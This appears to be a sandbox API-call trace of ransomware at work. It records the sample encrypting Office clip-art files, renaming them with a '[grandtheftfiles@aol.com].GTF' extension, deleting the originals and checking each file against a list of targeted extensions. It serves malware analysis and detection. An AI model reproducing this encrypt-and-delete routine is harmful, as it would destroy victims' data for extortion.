	[0172.229] ReadFile (in: hFile=0x530, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x126c, lpOverlapped=0x0) returned 1
	[0172.289] WriteFile (in: hFile=0x45c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x1270, lpOverlapped=0x0) returned 1
	[0172.290] ReadFile (in: hFile=0x530, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.291] WriteFile (in: hFile=0x45c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0172.291] SetEndOfFile (hFile=0x45c) returned 1
	[0172.291] CloseHandle (hObject=0x45c) returned 1
	[0172.291] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.291] SetEndOfFile (hFile=0x530) returned 1
	[0172.294] CloseHandle (hObject=0x530) returned 1
	[0172.294] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0172.294] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf")) returned 1
	[0172.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0172.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0172.295] lstrlenW (lpString=".doc") returned 4
	[0172.295] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.295] lstrlenW (lpString=".docx") returned 5
	[0172.295] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0172.296] lstrlenW (lpString=".pdf") returned 4
	[0172.296] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.296] lstrlenW (lpString=".xls") returned 4
	[0172.296] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.296] lstrlenW (lpString=".xlsx") returned 5
	[0172.296] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0172.296] lstrlenW (lpString=".ppt") returned 4
	[0172.296] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0172.296] lstrlenW (lpString=".zip") returned 4
	[0172.296] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.296] lstrlenW (lpString=".rar") returned 4
	[0172.296] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.296] lstrlenW (lpString=".bz2") returned 4
	[0172.296] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.296] lstrlenW (lpString=".7z") returned 3
	[0172.296] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0172.296] lstrlenW (lpString=".dbf") returned 4
	[0172.296] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0172.296] lstrlenW (lpString=".1cd") returned 4
	[0172.296] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0172.296] lstrlenW (lpString=".jpg") returned 4
	[0172.296] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0172.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0172.296] lstrlenW (lpString=".doc") returned 4
	[0172.296] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.296] lstrlenW (lpString=".docx") returned 5
	[0172.296] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0172.296] lstrlenW (lpString=".pdf") returned 4
	[0172.297] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.297] lstrlenW (lpString=".xls") returned 4
	[0172.297] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.297] lstrlenW (lpString=".xlsx") returned 5
	[0172.297] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0172.297] lstrlenW (lpString=".ppt") returned 4
	[0172.297] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0172.297] lstrlenW (lpString=".zip") returned 4
	[0172.297] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.297] lstrlenW (lpString=".rar") returned 4
	[0172.297] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.297] lstrlenW (lpString=".bz2") returned 4
	[0172.297] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.297] lstrlenW (lpString=".7z") returned 3
	[0172.297] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0172.297] lstrlenW (lpString=".dbf") returned 4
	[0172.297] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0172.297] lstrlenW (lpString=".1cd") returned 4
	[0172.297] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0172.297] lstrlenW (lpString=".jpg") returned 4
	[0172.297] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.298] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0172.298] lstrlenW (lpString="J0136865.WMF") returned 12
	[0172.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0172.300] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=16710) returned 1
	[0172.300] CloseHandle (hObject=0x530) returned 1
	[0172.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf")) returned 0x220
	[0172.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0172.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0172.301] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.301] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0172.302] GetLastError () returned 0x0
	[0172.302] ReadFile (in: hFile=0x530, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x4146, lpOverlapped=0x0) returned 1
	[0172.709] WriteFile (in: hFile=0x45c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x4150, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x4150, lpOverlapped=0x0) returned 1
	[0172.879] ReadFile (in: hFile=0x530, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.879] WriteFile (in: hFile=0x45c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0172.879] SetEndOfFile (hFile=0x45c) returned 1
	[0172.879] CloseHandle (hObject=0x45c) returned 1
	[0172.881] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.882] SetEndOfFile (hFile=0x530) returned 1
	[0172.884] CloseHandle (hObject=0x530) returned 1
	[0172.884] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0173.122] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf")) returned 1
	[0173.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0173.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0173.894] lstrlenW (lpString=".doc") returned 4
	[0173.894] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.894] lstrlenW (lpString=".docx") returned 5
	[0173.894] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0173.894] lstrlenW (lpString=".pdf") returned 4
	[0173.894] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.894] lstrlenW (lpString=".xls") returned 4
	[0173.894] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.894] lstrlenW (lpString=".xlsx") returned 5
	[0173.894] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0173.894] lstrlenW (lpString=".ppt") returned 4
	[0173.894] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0173.894] lstrlenW (lpString=".zip") returned 4
	[0173.894] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.895] lstrlenW (lpString=".rar") returned 4
	[0173.895] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.895] lstrlenW (lpString=".bz2") returned 4
	[0173.895] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.895] lstrlenW (lpString=".7z") returned 3
	[0173.895] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0173.895] lstrlenW (lpString=".dbf") returned 4
	[0173.895] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0173.895] lstrlenW (lpString=".1cd") returned 4
	[0173.895] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0173.895] lstrlenW (lpString=".jpg") returned 4
	[0173.895] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0173.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0173.895] lstrlenW (lpString=".doc") returned 4
	[0173.895] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.895] lstrlenW (lpString=".docx") returned 5
	[0173.895] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0173.895] lstrlenW (lpString=".pdf") returned 4
	[0173.895] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.895] lstrlenW (lpString=".xls") returned 4
	[0173.895] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.895] lstrlenW (lpString=".xlsx") returned 5
	[0173.895] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0173.895] lstrlenW (lpString=".ppt") returned 4
	[0173.895] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0173.895] lstrlenW (lpString=".zip") returned 4
	[0173.896] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.896] lstrlenW (lpString=".rar") returned 4
	[0173.896] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.896] lstrlenW (lpString=".bz2") returned 4
	[0173.896] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.896] lstrlenW (lpString=".7z") returned 3
	[0173.896] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0173.896] lstrlenW (lpString=".dbf") returned 4
	[0173.896] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0173.896] lstrlenW (lpString=".1cd") returned 4
	[0173.896] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0173.896] lstrlenW (lpString=".jpg") returned 4
	[0173.896] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.896] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0173.896] lstrlenW (lpString="J0145879.JPG") returned 12
	[0173.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0173.897] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=35419) returned 1
	[0173.897] CloseHandle (hObject=0x588) returned 1
	[0173.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg")) returned 0x220
	[0173.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0173.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0173.898] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.898] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c
	[0173.899] GetLastError () returned 0x0
	[0173.899] ReadFile (in: hFile=0x588, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x8a5b, lpOverlapped=0x0) returned 1
	[0173.926] WriteFile (in: hFile=0x58c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x8a60, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x8a60, lpOverlapped=0x0) returned 1
	[0174.106] ReadFile (in: hFile=0x588, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.106] WriteFile (in: hFile=0x58c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.107] SetEndOfFile (hFile=0x58c) returned 1
	[0174.216] CloseHandle (hObject=0x58c) returned 1
	[0174.216] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.216] SetEndOfFile (hFile=0x588) returned 1
	[0174.219] CloseHandle (hObject=0x588) returned 1
	[0174.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0174.219] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg")) returned 1
	[0174.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0174.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0174.220] lstrlenW (lpString=".doc") returned 4
	[0174.220] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0174.220] lstrlenW (lpString=".docx") returned 5
	[0174.220] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0174.220] lstrlenW (lpString=".pdf") returned 4
	[0174.220] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0174.220] lstrlenW (lpString=".xls") returned 4
	[0174.220] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0174.220] lstrlenW (lpString=".xlsx") returned 5
	[0174.220] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0174.220] lstrlenW (lpString=".ppt") returned 4
	[0174.220] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0174.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0174.220] lstrlenW (lpString=".zip") returned 4
	[0174.220] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0174.220] lstrlenW (lpString=".rar") returned 4
	[0174.220] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0174.220] lstrlenW (lpString=".bz2") returned 4
	[0174.221] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0174.221] lstrlenW (lpString=".7z") returned 3
	[0174.221] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0174.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0174.221] lstrlenW (lpString=".dbf") returned 4
	[0174.221] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0174.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0174.221] lstrlenW (lpString=".1cd") returned 4
	[0174.221] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0174.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0174.221] lstrlenW (lpString=".jpg") returned 4
	[0174.221] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0174.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0174.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0174.221] lstrlenW (lpString=".doc") returned 4
	[0174.221] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0174.221] lstrlenW (lpString=".docx") returned 5
	[0174.221] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0174.221] lstrlenW (lpString=".pdf") returned 4
	[0174.221] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0174.221] lstrlenW (lpString=".xls") returned 4
	[0174.221] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0174.221] lstrlenW (lpString=".xlsx") returned 5
	[0174.221] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0174.221] lstrlenW (lpString=".ppt") returned 4
	[0174.221] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0174.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0174.221] lstrlenW (lpString=".zip") returned 4
	[0174.222] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0174.222] lstrlenW (lpString=".rar") returned 4
	[0174.222] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0174.222] lstrlenW (lpString=".bz2") returned 4
	[0174.222] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0174.222] lstrlenW (lpString=".7z") returned 3
	[0174.222] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0174.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0174.222] lstrlenW (lpString=".dbf") returned 4
	[0174.222] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0174.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0174.222] lstrlenW (lpString=".1cd") returned 4
	[0174.222] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0174.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68
	[0174.222] lstrlenW (lpString=".jpg") returned 4
	[0174.222] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0174.222] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0174.222] lstrlenW (lpString="J0148309.JPG") returned 12
	[0174.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0174.223] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=43674) returned 1
	[0174.223] CloseHandle (hObject=0x588) returned 1
	[0174.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg")) returned 0x220
	[0174.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0174.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0174.224] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.224] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c
	[0174.225] GetLastError () returned 0x0
